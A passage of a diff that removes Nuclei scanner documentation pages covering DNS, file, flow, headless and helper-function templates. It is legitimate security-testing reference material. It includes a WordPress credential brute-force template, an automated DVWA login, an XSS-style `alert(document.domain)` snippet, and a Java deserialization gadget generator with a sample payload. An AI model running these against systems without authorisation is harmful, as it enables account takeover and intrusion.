Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
|
||||
|
||||
```yaml
|
||||
# Retries is a number of retries before giving up on dns resolution
|
||||
retries: 3
|
||||
```
|
||||
|
||||
### Matchers / Extractor Parts
|
||||
|
||||
Valid `part` values supported by **DNS** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
|------------------|-----------------------------|
|
||||
| request | DNS Request |
|
||||
| rcode | DNS Rcode |
|
||||
| question | DNS Question Message |
|
||||
| extra | DNS Message Extra Field |
|
||||
| answer | DNS Message Answer Field |
|
||||
| ns | DNS Message Authority Field |
|
||||
| raw / all / body | Raw DNS Message |
|
||||
|
||||
### **Example DNS Template**
|
||||
|
||||
The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
|
||||
|
||||
```yaml
|
||||
id: dummy-cname-a
|
||||
|
||||
info:
|
||||
name: Dummy A dns request
|
||||
author: mzack9999
|
||||
severity: none
|
||||
description: Checks if CNAME and A record is returned.
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: A
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
# The response must contain a CNAME record
|
||||
- "IN\tCNAME"
|
||||
# and also at least 1 A record
|
||||
- "IN\tA"
|
||||
condition: and
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/dns)
|
||||
@@ -1,104 +0,0 @@
|
||||
---
|
||||
title : "File"
|
||||
---
|
||||
|
||||
Nuclei allows modelling templates that can match/extract on filesystem too.
|
||||
|
||||
```yaml
|
||||
# Start of file template block
|
||||
file:
|
||||
```
|
||||
|
||||
### Extensions
|
||||
|
||||
To match on all extensions (except the ones in default denylist), use the following -
|
||||
|
||||
```yaml
|
||||
extensions:
|
||||
- all
|
||||
```
|
||||
|
||||
You can also provide a list of custom extensions that should be matched upon.
|
||||
|
||||
```yaml
|
||||
extensions:
|
||||
- py
|
||||
- go
|
||||
```
|
||||
|
||||
A denylist of extensions can also be provided. Files with these extensions will not be processed by nuclei.
|
||||
|
||||
```yaml
|
||||
extensions:
|
||||
- all
|
||||
|
||||
denylist:
|
||||
- go
|
||||
- py
|
||||
- txt
|
||||
```
|
||||
|
||||
By default, certain extensions are excluded in nuclei file module. A list of these is provided below-
|
||||
|
||||
```
|
||||
3g2,3gp,7z,apk,arj,avi,axd,bmp,css,csv,deb,dll,doc,drv,eot,exe,flv,gif,gifv,gz,h264,ico,iso,jar,jpeg,jpg,lock,m4a,m4v,map,mkv,mov,mp3,mp4,mpeg,mpg,msi,ogg,ogm,ogv,otf,pdf,pkg,png,ppt,psd,rar,rm,rpm,svg,swf,sys,tar,tar.gz,tif,tiff,ttf,txt,vob,wav,webm,wmv,woff,woff2,xcf,xls,xlsx,zip
|
||||
```
|
||||
|
||||
### More Options
|
||||
|
||||
**max-size** parameter can be provided which limits the maximum size (in bytes) of files read by nuclei engine.
|
||||
|
||||
As default the `max-size` value is 5 MB (5242880), Files larger than the `max-size` will not be processed.
|
||||
|
||||
-----
|
||||
|
||||
**no-recursive** option disables recursive walking of directories / globs while input is being processed for file module of nuclei.
|
||||
|
||||
### Matchers / Extractor
|
||||
|
||||
**File** protocol supports 2 types of Matchers -
|
||||
|
||||
| Matcher Type | Part Matched |
|
||||
|--------------|--------------|
|
||||
| word | all |
|
||||
| regex | all |
|
||||
|
||||
|
||||
| Extractors Type | Part Matched |
|
||||
|-----------------|--------------|
|
||||
| word | all |
|
||||
| regex | all |
|
||||
|
||||
### **Example File Template**
|
||||
|
||||
The final example template file for a Private Key detection is provided below.
|
||||
|
||||
```yaml
|
||||
id: google-api-key
|
||||
|
||||
info:
|
||||
name: Google API Key
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
file:
|
||||
- extensions:
|
||||
- all
|
||||
- txt
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: google-api-key
|
||||
regex:
|
||||
- "AIza[0-9A-Za-z\\-_]{35}"
|
||||
```
|
||||
|
||||
```bash
|
||||
# Running file template on http-response/ directory
|
||||
nuclei -t file.yaml -target http-response/
|
||||
|
||||
# Running file template on output.txt
|
||||
nuclei -t file.yaml -target output.txt
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/file)
|
||||
@@ -1,224 +0,0 @@
|
||||
---
|
||||
title : Flow
|
||||
---
|
||||
|
||||
|
||||
Template flow engine introduced in v3, brings two significant enhancements to Nuclei:
|
||||
|
||||
- The ability to conditionally execute requests
|
||||
- The orchestration of request execution
|
||||
|
||||
These features are implemented using JavaScript (ECMAScript 5.1) via the [goja](https://github.com/dop251/goja) backend.
|
||||
|
||||
## Conditional Execution
|
||||
|
||||
Many times when writing complex templates we might need to add some extra checks (or conditional statements) before executing certain part of request.
|
||||
|
||||
An ideal example of this would be when [bruteforcing wordpress login](https://templates.nuclei.sh/public/wordpress-weak-credentials) with default usernames and passwords, but if we carefully re-evaluate this template, we can see that template is sending 276 requests without even checking, if the url actually exists or target site is actually a wordpress site.
|
||||
|
||||
With addition of flow in Nuclei v3 we can re-write this template to first check if target is a wordpress site, if yes then bruteforce login with default credentials and this can be achieved by simply adding one line of content i.e `flow: http(1) && http(2)` and nuclei will take care of everything else.
|
||||
|
||||
```yaml
|
||||
id: wordpress-bruteforce
|
||||
|
||||
info:
|
||||
name: WordPress Login Bruteforce
|
||||
author: pdteam
|
||||
severity: high
|
||||
|
||||
flow: http(1) && http(2)
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/wp-login.php"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "WordPress"
|
||||
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/wp-login.php"
|
||||
|
||||
body: |
|
||||
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
||||
|
||||
attack: clusterbomb
|
||||
payloads:
|
||||
users: helpers/wordlists/wp-users.txt
|
||||
passwords: helpers/wordlists/wp-passwords.txt
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- status_code == 302
|
||||
- contains_all(header, "/wp-admin","wordpress_logged_in")
|
||||
condition: and
|
||||
```
|
||||
|
||||
The update template now seems straight forward and easy to understand. we are first checking if target is a wordpress site and then executing bruteforce requests. This is just a simple example of conditional execution and flow accepts any Javascript (ECMAScript 5.1) expression/code so you are free to craft any conditional execution logic you want.
|
||||
|
||||
## Request Execution Orchestration
|
||||
|
||||
Flow is a powerful Nuclei feature that provides enhanced orchestration capabilities for executing requests. The simplicity of conditional execution is just the beginning. With flow, you can:
|
||||
|
||||
- Iterate over a list of values and execute a request for each one
|
||||
- Extract values from a request, iterate over them, and perform another request for each
|
||||
- Get and set values within the template context (global variables)
|
||||
- Write output to stdout for debugging purposes or based on specific conditions
|
||||
- Introduce custom logic during template execution
|
||||
- Use ECMAScript 5.1 JavaScript features to build and modify variables at runtime
|
||||
- Update variables at runtime and use them in subsequent requests.
|
||||
|
||||
Think of request execution orchestration as a bridge between JavaScript and Nuclei, offering two-way interaction within a specific template.
|
||||
|
||||
**Practical Example: Vhost Enumeration**
|
||||
|
||||
To better illustrate the power of flow, let's consider developing a template for vhost (virtual host) enumeration. This set of tasks typically requires writing a new tool from scratch. Here are the steps we need to follow:
|
||||
1. Retrieve the SSL certificate for the provided IP (using tlsx)
|
||||
- Extract `subject_cn` (CN) from the certificate
|
||||
- Extract `subject_an` (SAN) from the certificate
|
||||
- Remove wildcard prefixes from the values obtained in the steps above
|
||||
2. Bruteforce the request using all the domains found from the SSL request
|
||||
|
||||
You can utilize flow to simplify this task. The JavaScript code below orchestrates the vhost enumeration:
|
||||
|
||||
```javascript
|
||||
ssl();
|
||||
for (let vhost of iterate(template["ssl_domains"])) {
|
||||
set("vhost", vhost);
|
||||
http();
|
||||
}
|
||||
```
|
||||
|
||||
In this code, we've introduced 5 extra lines of JavaScript. This allows the template to perform vhost enumeration. The best part? You can run this at scale with all features of Nuclei, using supported inputs like ASN, CIDR, URL.
|
||||
|
||||
Let's break down the JavaScript code:
|
||||
|
||||
1. `ssl()`: This function executes the SSL request.
|
||||
2. `template["ssl_domains"]`: Retrieves the value of `ssl_domains` from the template context.
|
||||
3. `iterate()`: Helper function that iterates over any value type while handling empty or null values.
|
||||
4. `set("vhost", vhost)`: Creates a new variable `vhost` in the template and assigns the `vhost` variable's value to it.
|
||||
5. `http()`: This function conducts the HTTP request.
|
||||
|
||||
By understanding and taking advantage of Nuclei's `flow`, you can redefine the way you orchestrate request executions, making your templates much more powerful and efficient.
|
||||
|
||||
Here is working template for vhost enumeration using flow:
|
||||
|
||||
```yaml
|
||||
id: vhost-enum-flow
|
||||
|
||||
info:
|
||||
name: vhost enum flow
|
||||
author: tarunKoyalwar
|
||||
severity: info
|
||||
description: |
|
||||
vhost enumeration by extracting potential vhost names from ssl certificate.
|
||||
|
||||
flow: |
|
||||
ssl();
|
||||
for (let vhost of iterate(template["ssl_domains"])) {
|
||||
set("vhost", vhost);
|
||||
http();
|
||||
}
|
||||
|
||||
ssl:
|
||||
- address: "{{Host}}:{{Port}}"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{vhost}}
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- status_code != 400
|
||||
- status_code != 502
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"VHOST: " + vhost + ", SC: " + status_code + ", CL: " + content_length'
|
||||
```
|
||||
|
||||
## JS Bindings
|
||||
|
||||
This section contains a brief description of all nuclei JS bindings and their usage.
|
||||
|
||||
### Protocol Execution Function
|
||||
|
||||
In nuclei, any listed protocol can be invoked or executed in JavaScript using the `protocol_name()` format. For example, you can use `http()`, `dns()`, `ssl()`, etc.
|
||||
|
||||
If you want to execute a specific request of a protocol (refer to nuclei-flow-dns for an example), it can be achieved by passing either:
|
||||
|
||||
- The index of that request in the protocol (e.g.,`dns(1)`, `dns(2)`)
|
||||
- The ID of that request in the protocol (e.g., `dns("extract-vps")`, `http("probe-http")`)
|
||||
|
||||
For more advanced scenarios where multiple requests of a single protocol need to be executed, you can specify their index or ID one after the other (e.g., dns("extract-vps","1")).
|
||||
|
||||
This flexibility in using either index numbers or ID strings to call specific protocol requests provides controls for tailored execution, allowing you to build more complex and efficient workflows. more complex use cases multiple requests of a single protocol can be executed by just specifying their index or id one after another (ex: `dns("extract-vps","1")`)
|
||||
|
||||
### Iterate Helper Function
|
||||
|
||||
Iterate is a nuclei js helper function which can be used to iterate over any type of value like **array**, **map**, **string**, **number** while handling empty/nil values.
|
||||
|
||||
This is addon helper function from nuclei to omit boilerplate code of checking if value is empty or not and then iterating over it
|
||||
|
||||
```javascript
|
||||
iterate(123,{"a":1,"b":2,"c":3})
|
||||
|
||||
// iterate over array with custom separator
|
||||
iterate([1,2,3,4,5], " ")
|
||||
```
|
||||
|
||||
### Set Helper Function
|
||||
|
||||
When iterating over a values/array or some other use case we might want to invoke a request with custom/given value and this can be achieved by using `set()` helper function. When invoked/called it adds given variable to template context (global variables) and that value is used during execution of request/protocol. the format of `set()` is `set("variable_name",value)` ex: `set("username","admin")`.
|
||||
|
||||
```javascript
|
||||
for (let vhost of myArray) {
|
||||
set("vhost", vhost);
|
||||
http(1)
|
||||
}
|
||||
```
|
||||
**Note:** In above example we used `set("vhost", vhost)` which added `vhost` to template context (global variables) and then called `http(1)` which used this value in request.
|
||||
|
||||
### Template Context
|
||||
|
||||
A template context is nothing but a map/jsonl containing all this data along with internal/unexported data that is only available at runtime (ex: extracted values from previous requests, variables added using `set()` etc). This template context is available in javascript as `template` variable and can be used to access any data from it. ex: `template["dns_cname"]`, `template["ssl_subject_cn"]` etc.
|
||||
|
||||
```javascript
|
||||
template["ssl_domains"] // returns value of ssl_domains from template context which is available after executing ssl request
|
||||
template["ptrValue"] // returns value of ptrValue which was extracted using regex with internal: true
|
||||
```
|
||||
Lot of times we don't known what all data is available in template context and this can be easily found by printing it to stdout using `log()` function
|
||||
|
||||
```javascript
|
||||
log(template)
|
||||
```
|
||||
|
||||
### Log Helper Function
|
||||
|
||||
It is a nuclei js alternative to `console.log` and this pretty prints map data in readable format
|
||||
|
||||
**Note:** This should be used for debugging purposed only as this prints data to stdout
|
||||
|
||||
### Dedupe
|
||||
|
||||
Lot of times just having arrays/slices is not enough and we might need to remove duplicate variables . for example in earlier vhost enumeration we did not remove any duplicates as there is always a chance of duplicate values in `ssl_subject_cn` and `ssl_subject_an` and this can be achieved by using `dedupe()` object. This is nuclei js helper function to abstract away boilerplate code of removing duplicates from array/slice
|
||||
|
||||
```javascript
|
||||
let uniq = new Dedupe(); // create new dedupe object
|
||||
uniq.Add(template["ptrValue"])
|
||||
uniq.Add(template["ssl_subject_cn"]);
|
||||
uniq.Add(template["ssl_subject_an"]);
|
||||
log(uniq.Values())
|
||||
```
|
||||
|
||||
And that's it, this automatically converts any slice/array to map and removes duplicates from it and returns a slice/array of unique values
|
||||
|
||||
> Similar to DSL helper functions . we can either use built in functions available with `Javscript (ECMAScript 5.1)` or use DSL helper functions and its upto user to decide which one to uses.
|
||||
@@ -1,384 +0,0 @@
|
||||
---
|
||||
title: "Headless"
|
||||
---
|
||||
|
||||
Nuclei supports automation of a browser with simple DSL. Headless browser engine can be fully customized and user actions can be scripted allowing complete control over the browser. This allows for a variety of unique and custom workflows.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
headless:
|
||||
```
|
||||
|
||||
### Actions
|
||||
|
||||
Action is a single piece of Task for the Nuclei Headless Engine. Each action manipulates the browser state in some way, and finally leads to the state that we are interested in capturing.
|
||||
|
||||
Nuclei supports a variety of actions. A list of these Actions along with their arguments are given below -
|
||||
|
||||
### navigate
|
||||
|
||||
Navigate visits a given URL. url field supports variables like `{{BaseURL}}`, `{{Hostname}}` to customize the request fully.
|
||||
|
||||
```yaml
|
||||
action: navigate
|
||||
args:
|
||||
url: "{{BaseURL}}
|
||||
```
|
||||
|
||||
#### script
|
||||
|
||||
Script runs a JS code on the current browser page. At the simplest level, you can just provide a `code` argument with the JS snippet you want to execute, and it will be run on the page.
|
||||
|
||||
```yaml
|
||||
action: script
|
||||
args:
|
||||
code: alert(document.domain)
|
||||
```
|
||||
|
||||
Suppose you want to run a matcher on a JS object to inspect its value. This type of data extraction use cases are also supported with nuclei headless. As an example, let's say the application sets an object called `window.random-object` with a value, and you want to match on that value.
|
||||
|
||||
```yaml
|
||||
- action: script
|
||||
args:
|
||||
code: window.random-object
|
||||
name: script-name
|
||||
...
|
||||
matchers:
|
||||
- type: word
|
||||
part: script-name
|
||||
words:
|
||||
- "some-value"
|
||||
```
|
||||
|
||||
Nuclei supports running some custom Javascript, before the page load with the `hook` argument. This will always run the provided Javascript, before any of the pages load.
|
||||
|
||||
The example provided hooks `window.alert` so that the alerts that are generated by the application do not stop the crawler.
|
||||
|
||||
```yaml
|
||||
- action: script
|
||||
args:
|
||||
code: (function() { window.alert=function(){} })()
|
||||
hook: true
|
||||
```
|
||||
|
||||
This is one use case, there are many more use cases of function hooking such as DOM XSS Detection and Javascript-Injection based testing techniques. Further examples are provided on examples page.
|
||||
|
||||
#### click
|
||||
|
||||
Click simulates clicking with the Left-Mouse button on an element specified by a selector.
|
||||
|
||||
```yaml
|
||||
action: click
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
Nuclei supports a variety of selector types, including but not limited to XPath, Regex, CSS, etc. For more information about selectors, see [here](#selectors).
|
||||
|
||||
#### rightclick
|
||||
|
||||
RightClick simulates clicking with the Right-Mouse button on an element specified by a selector.
|
||||
|
||||
```yaml
|
||||
action: rightclick
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
#### text
|
||||
|
||||
Text simulates typing something into an input with Keyboard. Selectors can be used to specify the element to type in.
|
||||
|
||||
```yaml
|
||||
action: text
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
value: username
|
||||
```
|
||||
|
||||
#### screenshot
|
||||
|
||||
Screenshots takes the screenshots of a page and writes it to disk. It supports both full page and normal screenshots.
|
||||
|
||||
```yaml
|
||||
action: screenshot
|
||||
args:
|
||||
to: /root/test/screenshot-web
|
||||
```
|
||||
|
||||
If you require full page screenshot, it can be achieved with `fullpage: true` option in the args.
|
||||
|
||||
```yaml
|
||||
action: screenshot
|
||||
args:
|
||||
to: /root/test/screenshot-web
|
||||
fullpage: true
|
||||
```
|
||||
|
||||
#### time
|
||||
|
||||
Time enters values into time inputs on pages in RFC3339 format.
|
||||
|
||||
```yaml
|
||||
action: time
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
value: 2006-01-02T15:04:05Z07:00
|
||||
```
|
||||
|
||||
#### select
|
||||
|
||||
Select performs selection on an HTML Input by a selector.
|
||||
|
||||
```yaml
|
||||
action: select
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
selected: true
|
||||
value: option[value=two]
|
||||
selector: regex
|
||||
```
|
||||
|
||||
#### files
|
||||
|
||||
Files handles a file upload input on the webpage.
|
||||
|
||||
```yaml
|
||||
action: files
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
value: /root/test/payload.txt
|
||||
```
|
||||
|
||||
#### waitload
|
||||
|
||||
WaitLoads waits for a page to finish loading and get in Idle state.
|
||||
|
||||
```yaml
|
||||
action: waitload
|
||||
```
|
||||
|
||||
Nuclei's `waitload` action waits for DOM to load, and window.onload event to be received after which we wait for the page to become idle for 1 seconds.
|
||||
|
||||
|
||||
#### getresource
|
||||
|
||||
GetResource returns the src attribute for an element.
|
||||
|
||||
```yaml
|
||||
action: getresource
|
||||
name: extracted-value-src
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
#### extract
|
||||
|
||||
Extract extracts either the Text for an HTML Node, or an attribute as specified by the user.
|
||||
|
||||
The below code will extract the Text for the given XPath Selector Element, which can then also be matched upon by name `extracted-value` with matchers and extractors.
|
||||
|
||||
```yaml
|
||||
action: extract
|
||||
name: extracted-value
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
An attribute can also be extracted for an element. For example -
|
||||
|
||||
```yaml
|
||||
action: extract
|
||||
name: extracted-value-href
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
target: attribute
|
||||
attribute: href
|
||||
```
|
||||
|
||||
#### setmethod
|
||||
|
||||
SetMethod overrides the method for the request.
|
||||
|
||||
```yaml
|
||||
action: setmethod
|
||||
args:
|
||||
part: request
|
||||
method: DELETE
|
||||
```
|
||||
|
||||
#### addheader
|
||||
|
||||
AddHeader adds a header to the requests / responses. This does not overwrite any pre-existing headers.
|
||||
|
||||
```yaml
|
||||
action: addheader
|
||||
args:
|
||||
part: response # can be request too
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
```
|
||||
|
||||
#### setheader
|
||||
|
||||
SetHeader sets a header in the requests / responses.
|
||||
|
||||
```yaml
|
||||
action: setheader
|
||||
args:
|
||||
part: response # can be request too
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
```
|
||||
|
||||
#### deleteheader
|
||||
|
||||
DeleteHeader deletes a header from requests / responses.
|
||||
|
||||
```yaml
|
||||
action: deleteheader
|
||||
args:
|
||||
part: response # can be request too
|
||||
key: Content-Security-Policy
|
||||
```
|
||||
|
||||
#### setbody
|
||||
|
||||
SetBody sets the body for a request / response.
|
||||
|
||||
```yaml
|
||||
action: setbody
|
||||
args:
|
||||
part: response # can be request too
|
||||
body: '{"success":"ok"}'
|
||||
```
|
||||
|
||||
#### waitevent
|
||||
|
||||
WaitEvent waits for an event to trigger on the page.
|
||||
|
||||
```yaml
|
||||
action: waitevent
|
||||
args:
|
||||
event: 'Page.loadEventFired'
|
||||
```
|
||||
|
||||
The list of events supported are listed [here](https://github.com/go-rod/rod/blob/master/lib/proto/definitions.go).
|
||||
|
||||
|
||||
#### keyboard
|
||||
|
||||
Keyboard simulates a single key-press on the keyboard.
|
||||
|
||||
```yaml
|
||||
action: keyboard
|
||||
args:
|
||||
keys: '\r' # this simulates pressing enter key on keyboard
|
||||
```
|
||||
|
||||
`keys` argument accepts key-codes.
|
||||
|
||||
#### debug
|
||||
|
||||
Debug adds a delay of 5 seconds between each headless action and also shows a trace of all the headless events occurring in the browser.
|
||||
|
||||
> Note: Only use this for debugging purposes, don't use this in production templates.
|
||||
|
||||
```yaml
|
||||
action: debug
|
||||
```
|
||||
|
||||
#### sleep
|
||||
|
||||
Sleeps makes the browser wait for a specified duration in seconds. This is also useful for debugging purposes.
|
||||
|
||||
```yaml
|
||||
action: sleep
|
||||
args:
|
||||
duration: 5
|
||||
```
|
||||
|
||||
### Selectors
|
||||
|
||||
Selectors are how nuclei headless engine identifies what element to execute an action on. Nuclei supports getting selectors by including a variety of options -
|
||||
|
||||
| Selector | Description |
|
||||
|----------------------|-----------------------------------------------------|
|
||||
| `r` / `regex` | Element matches CSS Selector and Text Matches Regex |
|
||||
| `x` / `xpath` | Element matches XPath selector |
|
||||
| `js` | Return elements from a JS function |
|
||||
| `search` | Search for a query (can be text, XPATH, CSS) |
|
||||
| `selector` (default) | Element matches CSS Selector |
|
||||
|
||||
### Matchers / Extractor Parts
|
||||
|
||||
Valid `part` values supported by **Headless** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
|-------------------|---------------------------------|
|
||||
| request | Headless Request |
|
||||
| `<out_names>` | Action names with stored values |
|
||||
| raw / body / data | Final DOM response from browser |
|
||||
|
||||
### **Example Headless Template**
|
||||
|
||||
An example headless template to automatically login into DVWA is provided below -
|
||||
|
||||
|
||||
```yaml
|
||||
id: dvwa-headless-automatic-login
|
||||
info:
|
||||
name: DVWA Headless Automatic Login
|
||||
author: pdteam
|
||||
severity: high
|
||||
headless:
|
||||
- steps:
|
||||
- args:
|
||||
url: "{{BaseURL}}/login.php"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
- args:
|
||||
by: xpath
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: xpath
|
||||
value: admin
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input
|
||||
action: text
|
||||
- args:
|
||||
by: xpath
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input[2]
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: xpath
|
||||
value: password
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input[2]
|
||||
action: text
|
||||
- args:
|
||||
by: xpath
|
||||
xpath: /html/body/div/div[2]/form/fieldset/p/input
|
||||
action: click
|
||||
- action: waitload
|
||||
matchers:
|
||||
- part: resp
|
||||
type: word
|
||||
words:
|
||||
- "You have logged in as"
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/headless).
|
||||
|
||||
|
||||
|
||||
@@ -1,238 +0,0 @@
|
||||
---
|
||||
title: "Helper Functions"
|
||||
---
|
||||
|
||||
### Helper functions
|
||||
|
||||
Here is the list of all supported helper functions can be used in the RAW requests / Network requests.
|
||||
|
||||
| Helper function | Description | Example | Output |
|
||||
|-----------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| aes_gcm(key, plaintext interface{}) []byte | AES GCM encrypts a string with key | `{{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}` | `ec183a153b8e8ae7925beed74728534b57a60920c0b009eaa7608a34e06325804c096d7eebccddea3e5ed6c4` |
|
||||
| base64(src interface{}) string | Base64 encodes a string | `base64("Hello")` | `SGVsbG8=` |
|
||||
| base64_decode(src interface{}) []byte | Base64 decodes a string | `base64_decode("SGVsbG8=")` | `Hello` |
|
||||
| base64_py(src interface{}) string | Encodes string to base64 like python (with new lines) | `base64_py("Hello")` | `SGVsbG8=\n` |
|
||||
| bin_to_dec(binaryNumber number | string) float64 | Transforms the input binary number into a decimal format | `bin_to_dec("0b1010")`\<br>`bin_to_dec(1010)` | `10` |
|
||||
| compare_versions(versionToCheck string, constraints ...string) bool | Compares the first version argument with the provided constraints | `compare_versions('v1.0.0', '\>v0.0.1', '\<v1.0.1')` | `true` |
|
||||
| concat(arguments ...interface{}) string | Concatenates the given number of arguments to form a string | `concat("Hello", 123, "world)` | `Hello123world` |
|
||||
| contains(input, substring interface{}) bool | Verifies if a string contains a substring | `contains("Hello", "lo")` | `true` |
|
||||
| contains_all(input interface{}, substrings ...string) bool | Verifies if any input contains all of the substrings | `contains("Hello everyone", "lo", "every")` | `true` |
|
||||
| contains_any(input interface{}, substrings ...string) bool | Verifies if an input contains any of substrings | `contains("Hello everyone", "abc", "llo")` | `true` |
|
||||
| date_time(dateTimeFormat string, optionalUnixTime interface{}) string | Returns the formatted date time using simplified or `go` style layout for the current or the given unix time | `date_time("%Y-%M-%D %H:%m")`\<br\>`date_time("%Y-%M-%D %H:%m", 1654870680)`\<br\>`date_time("2006-01-02 15:04", unix_time())` | `2022-06-10 14:18` |
|
||||
| dec_to_hex(number number | string) string | Transforms the input number into hexadecimal format | `dec_to_hex(7001)"` | `1b59` |
|
||||
| ends_with(str string, suffix ...string) bool | Checks if the string ends with any of the provided substrings | `ends_with("Hello", "lo")` | `true` |
|
||||
| generate_java_gadget(gadget, cmd, encoding interface{}) string | Generates a Java Deserialization Gadget | `generate_java_gadget("dns", "{{interactsh-url}}", "base64")` | `rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAAHQAAHEAfgAFdAAFcHh0ACpjYWhnMmZiaW41NjRvMGJ0MHRzMDhycDdlZXBwYjkxNDUub2FzdC5mdW54` |
|
||||
| generate_jwt(json, algorithm, signature, unixMaxAge) []byte | Generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm | `generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")` | `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U` |
|
||||
| gzip(input string) string | Compresses the input using GZip | `base64(gzip("Hello"))` | `+H4sIAAAAAAAA//JIzcnJBwQAAP//gonR9wUAAAA=` |
|
||||
| gzip_decode(input string) string | Decompresses the input using GZip | `gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))` | `Hello` |
|
||||
| hex_decode(input interface{}) []byte | Hex decodes the given input | `hex_decode("6161")` | `aa` |
|
||||
| hex_encode(input interface{}) string | Hex encodes the given input | `hex_encode("aa")` | `6161` |
|
||||
| hex_to_dec(hexNumber number | string) float64 | Transforms the input hexadecimal number into decimal format | `hex_to_dec("ff")`\<br\>`hex_to_dec("0xff")` | `255` |
|
||||
| hmac(algorithm, data, secret) string | hmac function that accepts a hashing function type with data and secret | `hmac("sha1", "test", "scrt")` | `8856b111056d946d5c6c92a21b43c233596623c6` |
|
||||
| html_escape(input interface{}) string | HTML escapes the given input | `html_escape("\<body\>test\</body\>")` | `<body>test</body>` |
|
||||
| html_unescape(input interface{}) string | HTML un-escapes the given input | `html_unescape("<body>test</body>")` | `\<body\>test\</body\>` |
|
||||
| join(separator string, elements ...interface{}) string | Joins the given elements using the specified separator | `join("_", 123, "hello", "world")` | `123_hello_world` |
|
||||
| json_minify(json) string | Minifies a JSON string by removing unnecessary whitespace | `json_minify("{ \"name\": \"John Doe\", \"foo\": \"bar\" }")` | `{"foo":"bar","name":"John Doe"}` |
|
||||
| json_prettify(json) string | Prettifies a JSON string by adding indentation | `json_prettify("{\"foo\":\"bar\",\"name\":\"John Doe\"}")` | `{\n \"foo\": \"bar\",\n \"name\": \"John Doe\"\n}` |
|
||||
| len(arg interface{}) int | Returns the length of the input | `len("Hello")` | `5` |
|
||||
| line_ends_with(str string, suffix ...string) bool | Checks if any line of the string ends with any of the provided substrings | `line_ends_with("Hello\nHi", "lo")` | `true` |
|
||||
